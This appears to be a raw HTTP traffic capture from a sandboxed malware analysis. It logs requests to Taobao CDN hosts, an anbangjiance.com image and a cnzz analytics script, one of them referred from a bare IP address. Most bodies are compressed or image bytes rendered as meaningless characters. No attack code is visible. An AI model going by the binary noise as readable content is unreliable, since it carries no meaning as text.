User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

Date: Sun, 07 Jun 2015 03:29:16 GMT

Last-Modified: Fri, 11 Oct 2013 04:52:49 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Accept-Ranges: bytes

Via: cache18.l2de1[0,304-0,H], cache22.l2de1[0,0], cache6.es1[0,200-0,H], cache2.es1[0,0]

Age: 1657

X-Cache: HIT TCP_MEM_HIT dirn:8:935015219

X-Swift-SaveTime: Sun, 07 Jun 2015 03:44:29 GMT

X-Swift-CacheTime: 3600

GIF89a.............!.......,...........D..;....

GET /kg/??countdown/2.0.1/index-min.css?t=16593.css HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Content-Length: 494

Connection: keep-alive

Date: Sun, 07 Jun 2015 02:51:54 GMT

Last-Modified: Thu, 14 Aug 2014 09:39:13 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache7.l2de1[0,304-0,H], cache34.l2de1[0,0], cache3.es1[0,200-0,H], cache2.es1[1,0]

Content-Encoding: gzip

Age: 3899

X-Cache: HIT TCP_MEM_HIT dirn:10:92869552

X-Swift-SaveTime: Sun, 07 Jun 2015 03:17:37 GMT

X-Swift-CacheTime: 3600

...........SMs.0.. ......6&M......r..b'B..9.e.. .6...)...zo...r.."N.,..f.y....C.......9j..N}....(...>....P.sj.....}.k...w.b....^jT....[..r.r.?.R.<_j...._.....`.9cm4o.Q.a....F{4.o.w{;.P......D=>...s.v.u.p...T....J3....i)p. ;....F1...D.0y>z.85.x0z...7gc.....S.....Ye....r.....Q;w.X..h. ..'`..........e....F......_.b.8.f..#T=.1K...H...y..............2..!.K.?....^..r~..} H...&D..y.<(`...o..k...0.......2'..c\7!.@.BD....Y..) ..A'G..7[`". ..5X!....n.....*N.....;5..x........QG..o,..Ym..........nW...HTTP/1.1 200 OK..Server: Tengine..Content-Type: text/css..Content-Length: 494..Connection: keep-alive..Date: Sun, 07 Jun 2015 02:51:54 GMT..Last-Modified: Thu, 14 Aug 2014 09:39:13 GMT..Cache-Control: max-age=315360000,s-maxage=3600..Access-Control-Allow-Origin: *..Vary: Accept-Encoding..Via: cache7.l2de1[0,304-0,H], cache34.l2de1[0,0], cache3.es1[0,200-0,H], cache2.es1[1,0]..Content-Encoding: gzip..Age: 3899..X-Cache: HIT TCP_MEM_HIT dirn:10:92869552..X-Swift-SaveTime: Sun, 07 Jun 2015 03:17:37 GMT..X-Swift-CacheTime: 3600.............SMs.0.. ......6&M......r..b'B..9.e.. .6...)...zo...r.."N.,..f.y....C.......9j..N}....(...>....P.sj.....}.k...w.b....^jT....[..r.r.?.R.<_j...._.....`.9cm4o.Q.a....F{4.o.w{;.P......D=>...s.v.u.p...T....J3....i)p. ;....F1...D.0y>z.85.x0z...7gc.....S.....Ye....r.....Q;w.X..h. ..'`..........e....F......_.b.8.f..#T=.1K...H...y..............2..!.K.?....^..r~..} H...&D..y.<(`...o..k...0.......2'..c\7!.@.BD....Y..) ..A'G..7[`". ..5X!....n.....*N.....;5..x........QG..o,..Ym..

<<< skipped >>>

GET /ju/??jufav/1.0.29/index-min.js?t=16593.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 6052

Connection: keep-alive

Date: Sun, 07 Jun 2015 02:49:38 GMT

Last-Modified: Thu, 26 Mar 2015 05:59:10 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache42.l2de1[0,304-0,H], cache10.l2de1[0,0], cache8.es1[0,200-0,H], cache2.es1[1,0]

Content-Encoding: gzip

Age: 4035

X-Cache: HIT TCP_MEM_HIT dirn:4:232297273

X-Swift-SaveTime: Sun, 07 Jun 2015 03:02:55 GMT

X-Swift-CacheTime: 3600

...........[is....>..FjD .A..)..U...8/N2.3.W.K...$$,4.-.....n4.R...x....@...}.....|........;^.F......o..............t....?^.{.O....]z...\...c..p:.. ...Ko5sQ&~....L........e...,.E........ruf....d..k....E....b.._.KW....,.K..Lc....y...H.x].8...&ck.......=.g....=S.....ly.&..I.Q......~a..(..\Mj...f.t..i..H3Ky.J5.ZL.,.......&X.f......I.y.......=...Km......uo.$Ho......].K Hc.&......].X..i.AG..........KK<...z,..^.4..1#...OL8..a.....~..w...\G).x..^~y..<M.~.E./.b.]Y."..<.yg....~.?.q...nyY:...(.7.HY..'h"r^.....f....`.M.E..z..[$.b'&.....M.b>.h....k&O...E.s...fj..4...}|0..>.<..y.1.....L.V>.......}$..F.B4...A^..x...]@..3.$..;~....JS@.......Z...>.<k......[.a...B^.a.=?..f-i...{.....|(.C..P..'G...=b....q=.........k.<.O...16=.Da.......U..)..}.8.M.?[k@......c?..G............49.N........k{.....v.zGZ..i..4<.9...rj...7.9Z.6....Cy..A....!..6..L......[...ems..${.`.`..d...0.j......%........X..>...?..X...L.m........i.-...!dp...)%\....f.q..).u4t...7=.:.1...;..q.9../.S.....`.IX.j.O>...Ye..T........o....0...f.ma.`$.....a..`.......>j..a..*k..........{......~v...;..pe...F..2K4..3....V.....D7N....8..gd..[...Sf.p...........G.....m..ooQ.......z.Oc#v}&-...F..R....K..y.K..@.dG{..B.5.E..T%3q".y........3.0...U.vO.l......o ....c....}...& .,.fX..-..f....eR........v.....%. K.q......d[^.)....-...{W.../.....l4H*..Z.\.|..sS.>....<s...I.4.........8..F..G..;&k.`..........R...WV.Jo..@.2..Qa:d.*..L..jsp.}o.<A.2.,c ...0 .....:....).1.`..}.u..K...c=.`.....1...J...N<.9Wo..^.Ojm..`1..Sl[C..._'.uH..$..-.1..

<<< skipped >>>

GET /ju/??jupopup/1.0.7/index-min.js?t=16593.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 1734

Connection: keep-alive

Date: Sun, 07 Jun 2015 02:48:21 GMT

Last-Modified: Mon, 23 Mar 2015 09:46:47 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache60.l2de1[0,304-0,H], cache57.l2de1[0,0], cache8.es1[0,200-0,H], cache2.es1[0,0]

Content-Encoding: gzip

Age: 4112

X-Cache: HIT TCP_MEM_HIT dirn:0:437546379

X-Swift-SaveTime: Sun, 07 Jun 2015 03:04:28 GMT

X-Swift-CacheTime: 3600

...........WMo.6.. ...H0-....Z....H..-`.E...V..2...H.....sz..[...$........oH}.k.)..Cq.....7........i..g.d.YU..*vv.QpwG...`|Z...*...:....Lp..#....3...G...NKE.e./..TF.e!...D.I.e^\...Nj.\.S.9k..("e5../L..E......K..3.....L.t0Zs...K.. .b.#.....l/b}...v ..N....y..... #M&.{;X...$.|.....D...C......<..Q.n]...RL#....."...?.z....W......o..eb..$SZ.......{;q............w/~~..O.).!c........\..vy\.u<W....?/..aJ..25......e*..?.=..p....%|..f.....0!{....o~qH.......Z@.<..~..U...U-.>^.H]^.*...&*]r{.....i.Q...p.a....>u.......E5..@O5#.y._.........p...."6.~&.9..e>....1...y...(..K.p..@..7...{.,R\..(...,;$.\.OqI[Z.oTqL..m}.........!...'..89.`ZP..<.v..e.n...~qkk.{^tI!wV.#.E....q..)e>.*RR....L]M4.\..i....4.%yS ...G2m2.].!|N.C*\..........:..z!J..}x......X.P....|.F.../. ...]....8N.':s....V....k....UN.cA.....7..............n|.w...(.$.D>3s...c9.*..JOF.....rk.O..B.F`;k..l.."...V.D>...[lo......769.Xhn..`....^'%zc.........|......."....J..V.%h.........@..4.2........,$..Q.d.;..D....X.^.......V.'.............O..eB]{.T)g.b...|3.;w..qzy.R.)oh.>.....w.....~$m..Z..=k....o.%..q..Mw...y&.. .p.3r....4....&U4.<.I...D.W(..X.;..bj..#... Q..r..s...N.Cg-,..4.@.O...[.....v=.........q.....n..._....P.XmrZ...7....P/..(<f.'.L.e..`...K..0g.r.e.!.U.p..9J...{P"NP.....Q.qV.cO.q".2...A...I.x........(.zY.#.l...j..T.d.....e....W..'....6...s!gs..5..n\o..... ..aC.}.p....i...EK......Zt.M-....Q.....m.Dp&.y.J.!o3..5.t...F..e>.TT..... =w...;.9..l.......u..>.d.G. .uu..R..{7....z......0.D\.`...=..4B%5.....f..9.Y.s.ba<..~C^.-...yFS*

<<< skipped >>>

GET /sd/data_sufei/1.4.3/aplus/index.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 12395

Connection: keep-alive

Date: Sun, 07 Jun 2015 03:07:44 GMT

Last-Modified: Tue, 19 May 2015 06:37:16 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache22.l2de1[0,304-0,H], cache13.l2de1[1,0], cache4.es1[0,200-0,H], cache2.es1[0,0]

Content-Encoding: gzip

Age: 2950

X-Cache: HIT TCP_MEM_HIT dirn:1:301888885

X-Swift-SaveTime: Sun, 07 Jun 2015 03:07:50 GMT

X-Swift-CacheTime: 3600

............kw..........-..(.....].......s..d/..D.....e.T..y....u.d&k...D.A..}.~../....u6 .y..|i...>...jtq..........jN....o...N.........~.u.../..lz.&.L......qZ..I.g..=I..F.4....t8.|..yR.f.i.m~..*.......r>.Z....:..Z$.o.p....>.N..(......?...MY,...U..|[......N/..EZ..l...tt........YB}QG....C7..........?>pg.'.r..@..O..=uc...S^t....BiR. '.&..t...&...q8v.p.....lY$=...W?.......Aob..!... ....I1Z./Ve..-.vTLZ...)Nt.N..]c.u..o.4cv.S.f{..g0....._....K....?..{|m.z..iz^y.:.....V..&..?...\.i..vZ$v..OE.i.1...V:L...#.f..y. l..3......iD3c..KFE.....z~.7.i...;...g.v...o....g....f`........N....l.....%M...|@... ...\.....I4.mf..!..=..}:..|.u...!..RA..l..Hr.-.FK.x5..}.Y...t.J.~o...Y...............bt[.e^~.MG&`..3.R..ihG..DNh..........}.........D.........Ya..q.y..xb...-/.. ....8......V.x|....91..^.YQ4......s.;.|......1.X..r.m3.g...9.8.\?.c..=......c.9.....@........7.\/.-Dd.q.FVd...;!.......@P....'A....cd..... `v..C..<;.B.....8...L."..r...])....7.-'........v...8,d..?T.[.c{n,.q.8...Q..u. .1.w.q4.#V.D..y..."...bt..2...B./.9.cQ....1......c.....$V.".i...,...6....fx'.....n<.{L...&..;......0,..c.r...b/..\o..!.E!r...r#V..6S..7..X../.\s[.v<...N..>x@..JB.V..-...D.E9R..dc...0...=.1.#.#..........G.w....t.glc...YJ..8.Y.3......Rx w....#.$..6.c....Rd.....Z..`e....!..,>..\<..n.........G....l..|.@....,....c.0.P<J....J.. ..8.c...... ...f..H9...>k.V0/.q.!.b.l...1..QA.T...........`........|..1PK$W..........b...>.r.E.r .3t...m.v<...8./.0=..^..BIc'...C........<D4..aq..x....H" ?.4.w.;.|F...*.....<9.&.E...b.{,l...

<<< skipped >>>

GET /stat.php?id=1254485011 HTTP/1.1

Accept: */*

Referer: hXXp://61.196.186.155:73/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s11.cnzz.com

Connection: Keep-Alive

Cookie: cna= K76DU0gXVsCAcGK9OeOy6tf

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Content-Length: 10075

Connection: keep-alive

Date: Sun, 07 Jun 2015 03:28:41 GMT

Last-Modified: Sun, 07 Jun 2015 03:28:41 GMT

Cache-Control: max-age=5400,s-maxage=5400

Via: cache44.l2de1[585,200-0,M], cache59.l2de1[586,0], cache6.de1[0,200-0,H], cache5.de1[0,0]

Age: 1683

X-Cache: HIT TCP_MEM_HIT dirn:-2:-2

X-Swift-SaveTime: Sun, 07 Jun 2015 03:28:41 GMT

X-Swift-CacheTime: 5400

(function(){function k(){this.c="1254485011";this.R="z";this.N="";this.K="";this.M="";this.r="1433647721";this.P="oz.cnzz.com";this.L="";this.u="CNZZDATA" this.c;this.t="_CNZZDbridge_" this.c;this.F="_cnzz_CV" this.c;this.G="CZ_UUID" this.c;this.v="0";this.A={};this.a={};this.la()}function g(a,b){try{var c=.[];c.push("siteid=1254485011");c.push("name=" f(a.name));c.push("msg=" f(a.message));c.push("r=" f(h.referrer));c.push("page=" f(e.location.href));c.push("agent=" f(e.navigator.userAgent));c.push("ex=" f(b));c.push("rnd=" Math.floor(2147483648*Math.random()));(new Image).src="hXXp://jserr.cnzz.com/log.php?" c.join("&")}catch(d){}}var h=document,e=window,f=encodeURIComponent,l=decodeURIComponent,n=unescape,p=escape;k.prototype={la:function(){try{this.U(),this.J(),this.ia(),this.H(),this.o(),.this.ga(),this.fa(),this.ja(),this.j(),this.ea(),this.ha(),this.ka(),this.ca(),this.aa(),this.da(),this.qa(),e[this.t]=e[this.t]||{},this.ba("_cnzz_CV")}catch(a){g(a,"i failed")}},oa:function(){try{var a=this;e._czc={push:function(){return a.B.apply(a,arguments)}}}catch(b){g(b,"oP failed")}},aa:function(){try{var a=e._czc;if("[object Array]"==={}.toString.call(a))for(var b=0;b<a.length;b ){var c=a[b];switch(c[0]){case "_setAccount":e._cz_account="[object String]"==={}.toString.call(c[1])?c[1]:String(c[1]);.break;case "_setAutoPageview":"boolean"===typeof c[1]&&(e._cz_autoPageview=c[1])}}}catch(d){g(d,"cS failed")}},qa:function(){try{if("undefined"===typeof e._cz_account||e._cz_account===this.c){e._cz_account=this.c;if

<<< skipped >>>

GET /tps/i4/TB1Mt_jIXXXXXa.XXXXwlDQLVXX-1920-869.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 94132

Last-Modified: Sat, 06 Jun 2015 06:44:35 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 2.16.217.234

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Cache-Control: max-age=315286300

Expires: Tue, 03 Jun 2025 07:28:33 GMT

Date: Sun, 07 Jun 2015 03:56:53 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323

......Exif..II*.................Ducky.......<......Adobe.d.................................................................................................................................................e........................................................................................!1AQ.aq.."2.....BR#3..br.S...C...$4..c.T..D5......................!1..AQ.aq"2.......B.Rb#..3............?........`..`..`..`..`..`..`..`........c.'....]..Yh..............*.M$..bCtl.<..W..S.....a..C.0..o..K|eF..|/.3;.#-...U.\_....(`..`..`.C\.J....r...r.jP.......]zt..}......u...YS].3w..m.-[%.].gl...R..T.....Q5VF5VFu.]#..#.....,.kK#:.FU$T......Y.s.Fi.Zj...]..:.^;.kS...%..M4.S.A7 ......_ ..zx...y|{...Gw...k...._...&.../.?.s..D%...2YO.E...f....L..p~..._=\....y........c.>.......|...~..ZpDI.J*Qq}.....^N.={%......_;.......W....<.5..wr:.8.t."pA..u.=.w>..zx....&.8R..~...q........... .....wMg......x..:up%n:..k.9yrk......'f..[./...<[.N>l.....R...._7.._.GeN5...*S.........}......g.../...o..~_.._....6...`P.._.[..._.z....^..zxG....U..o...m....w..o.<.....N..h.{e.?i..uu......:.(..........P_...#..=k...H..\....Dv.6z.=Z..(...Y........4J...@ .l..\....u2....._k;..6^.....%..;.....F..m.T.b....cv.]$..a....m.>...k1........6............I...d....c.t.C._h.9.s-.AFs.r...g..4.....`....g5.Iv.t....!..R..9I.Q.=......d3.(.J.`....AP..QV."0TCED3X..X.h..h...F......!.H...#.0TF.. .5......F...!........&j.:..t}....`..`..`..`..:...-.a|..Yh.[.b.z .N....rYx.....l.qHq.N........IBQx.q~...#...................1..1......,............|^<......N.~8.

<<< skipped >>>

GET /tps/i4/TB1y8yZIXXXXXXUXXXX2U1D8pXX-340-424.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 43994

Last-Modified: Thu, 04 Jun 2015 13:26:19 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 81.52.170.81

Timing-Allow-Origin: *

Timing-Allow-Origin: *

Cache-Control: max-age=315138032

Expires: Sun, 01 Jun 2025 14:17:25 GMT

Date: Sun, 07 Jun 2015 03:56:53 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323

.PNG........IHDR...T.................PLTE...!" .1DV9e.>@.G=.Q9..#....Z7.c3.m0.v-..'..*..;. K...................>...@........... ..X.Q....BBB.%B.!E00/.'C..\.0A.1....yc.....~..%@......@1"..?.... ?XYV........B2'......j.....A.(;997..~...........?....)B.......a........Y............k......MKHffd...........d..^....:z.._Y2$.............I{.....n.........q9#.....N`C.wwu...oom.... ....................2;}W..v..?'.o.....:f..D.P.....M...f.r...D.....t.l......[RK..L..Y..d0..W..1I=...r.Q$.d..e..B8.......)..ko..r..F.MT..:....b-.4@.@5..|.:>..7eT.h`2.A...$.>>.c .!.wl1..5..7.] .....:.N6.N3.k........D=.u*.....0.z6.n.....nG..B.............|%.]aF.$....~..u...7.....@..".....9.(....h.4..)....S6.8*.....w`..........^.wc.J......=.Vp..u.d..@...:..;.=[.... ...qoRJ.....F.cQ.|.v2I..\.........5.4n....IDATx...;..0.E....uI.P.4.R.pg...R.Sd...p. @.....0.*.pad.YA....o.(S...O>....Hj.P.{..nX..8...W. ..O..]x.b........A.2.........e)np.....?....=..... ^x..RK..Q..E...../....B..........JU.bM)...xb.?.e.....:..e....v..R...X..m.K.7..e.ZQJ.|.G6...J.6mV..K......Ab..I!...?'5.j..c.Js.....U7..fQ|.z.)5..e...~$J}.".J!u..`T.U=.3{.E...w.-.]....P..&M2r%{Xy..e....CZ........"{J...j.......g.VW../...E....4d.k.........S... ..HR.3...]....E._..@...SA...TK\J..#/.Ad?.?..%.h9.. -.............{..B..J.<E..*.5...]b..k.W _J./.....Z5h..,:...:..!....X.M..QB.\6*..FYN...T[............/Tq...."EZ..X.J....^-..N.._W.V.m%. &....t.@..X.....Y.%S..rg?..u..w...e..|..`....$...B.*-.V..[3.&B.2.....t...R...$.1d.Q.$....l.........G.....0...N.^^........9..;.s*.*....Nh.rw"P..q7.b.(.

<<< skipped >>>

GET /play/fxappimg/btn/tab2.png HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: image.anbangjiance.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Cache-Control: max-age=172800

Content-Type: image/png

Last-Modified: Wed, 18 Jun 2014 06:21:36 GMT

Accept-Ranges: bytes

ETag: "676de68ebd8acf1:0"

Server: Microsoft-IIS/7.5

Date: Sun, 07 Jun 2015 03:56:59 GMT

Content-Length: 13263

.PNG........IHDR...`...T........C....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:BC4A4489F07E11E3BF41F4FF42BC7C05" xmpMM:DocumentID="xmp.did:BC4A448AF07E11E3BF41F4FF42BC7C05"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BC4A4487F07E11E3BF41F4FF42BC7C05" stRef:documentID="xmp.did:BC4A4488F07E11E3BF41F4FF42BC7C05"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.=B...0EIDATx..}y.%E.g......(..P....mZ..{....?..GA@h....qFZ....nF.mEG.b...EE..E.S.qF.P.....>d..E.......{3.d.....7.....c2...7#"3...'.9q.@D.:.;^../!...7.3.%.}..v.Dub............._..X..G..`|.6.....O...o......:.wV.h.s./...oc..'....."'...1._...].|c..?4...`.;..;.."..J....D.|....|W.|.]4......}.....A.~...IE?.2...K^....Q...S0@E...i.HTTP/1.1 200 OK..Cache-Control: max-age=172800..Content-Type: image/png..Last-Modified: Wed, 18 Jun 2014 06:21:36 GMT..Accept-Ranges: bytes..ETag: "676de68ebd8acf1:0"..Server: Microsoft-IIS/7.5..Date: Sun, 07 Jun 2015 03:56:59 GMT..Content-Length: 13263...PNG........IHDR..

<<< skipped >>>

GET /tps/i1/T1A30CFvXbXXbhgrfd-29-26.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms01.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 549

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:10:06 GMT

Last-Modified: Mon, 30 Dec 2013 02:41:40 GMT

Expires: Thu, 29 May 2025 11:10:06 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache8.l2de1[494,200-0,M], cache7.l2de1[494,0], cache5.de1[0,200-0,H], cache10.de1[1,0]

Age: 492408

X-Cache: HIT TCP_MEM_HIT dirn:7:272523753

X-Swift-SaveTime: Mon, 01 Jun 2015 11:10:06 GMT

X-Swift-CacheTime: 315360000

.PNG........IHDR.............|H.....lPLTE....o.....Bo.2d.4f.v..,^..`.*\....;h................X.....[..b...............................................c......tRNS...aRS.LNJ.Z.....w.{...s......QIDAT(.uR.r.0.4.9...$# m......C..2c,V..-..}l..u....]U...0.....q^....d......k..a%JI...L"$..|..&.....Y. ...:...m,.W`K.9)$...IL.N%Z...$b.LVcbe..b...l...^.$.Y.!.R#.R.r....v...O...x....;6.4.\<@.B*.....$.fr0"l..![... yI.._..=.kz.....s0....NYR..cN......"s....*Mx.A........V..y..].o._fkN.HH...A..)I...-...y.....N.2......3.... ..d..Wu......x.8.R~.1.-s........IEND.B`.HTTP/1.1 200 OK..Server: Tengine..Content-Type: image/png..Content-Length: 549..Connection: keep-alive..Date: Mon, 01 Jun 2015 11:10:06 GMT..Last-Modified: Mon, 30 Dec 2013 02:41:40 GMT..Expires: Thu, 29 May 2025 11:10:06 GMT..Cache-Control: max-age=315360000..Access-Control-Allow-Origin: *..Via: cache8.l2de1[494,200-0,M], cache7.l2de1[494,0], cache5.de1[0,200-0,H], cache10.de1[1,0]..Age: 492408..X-Cache: HIT TCP_MEM_HIT dirn:7:272523753..X-Swift-SaveTime: Mon, 01 Jun 2015 11:10:06 GMT..X-Swift-CacheTime: 315360000...PNG........IHDR.............|H.....lPLTE....o.....Bo.2d.4f.v..,^..`.*\....;h................X.....[..b...............................................c......tRNS...aRS.LNJ.Z.....w.{...s......QIDAT(.uR.r.0.4.9...$# m......C..2c,V..-..}l..u....]U...0.....q^....d......k..a%JI...L"$..|..&.....Y. ...:...m,.W`K.9)$...IL.N%Z...$b.LVcbe..b...l...^.$.Y.!.R#.R.r....v...O...x....;6.4.\<@.B*.....$.fr0"l..![... yI.._..=.kz.....s0....NYR..cN......"s....*Mx.A........V..

<<< skipped >>>

GET /tps/i4/TB13vXMHpXXXXc2XFXXsuorGXXX-34-34.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 882

Last-Modified: Tue, 03 Mar 2015 06:04:34 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 92.123.78.53

Timing-Allow-Origin: *

Cache-Control: max-age=314869644

Expires: Thu, 29 May 2025 11:44:19 GMT

Date: Sun, 07 Jun 2015 03:56:55 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323

.PNG........IHDR..."...".....:G......bKGD..............pHYs...H...H.F.k>....vpAg..."..."..._....vIDATX...?L.Q..?.$q...J...`.*...:..&2.....`.....:u..n.".:I;...4.qRF-.1.ux. ....w........'..~.....^.@. .d.k..`B.~......l.?..v".....60.1.....@=.X..'..@..k..pA|j.#i.2.|.......X.MA..eN.....^K.H O..!..k.x..2..8G.O..k .$P..........0>B.q...r...C.-..SV..t....7.G...H!(X.m.....8...].....=.@...@....B....h.Jt>5.Ls@B.Eh.4....m....r...ER..C.O..z... .K..).^..4.&......^..\4..I.QE=..B..U.c..}2.U..{.......|...N.*j>K....|....M.|..p..tl|0.3}:T..X.2.6E.....1....0;...m......*.8Bo.cCX.l.G..........m@......iU.<.gv...".{..$.......u....An,....u........;......A}....'D..._.W....C.8...A.A.o..2m._..U.3.;..Gw..tG.b..->.t...d....&.....j........}PSC/.?.R......?.y2...%tEXtdate:create.2015-03-03T14:04:34 08:00PG.....%tEXtdate:modify.2015-03-03T14:04:34 08:00!..m....tEXtSoftware.Adobe ImageReadyq.e<....IEND.B`.....

GET /tps/i2/TB13cLtIXXXXXXGXXXX7opfHXXX-200-45.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 4232

Last-Modified: Sat, 06 Jun 2015 12:13:19 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

SERVED-FROM: 80.239.222.174

Cache-Control: max-age=315303620

Expires: Tue, 03 Jun 2025 12:17:15 GMT

Date: Sun, 07 Jun 2015 03:56:55 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323

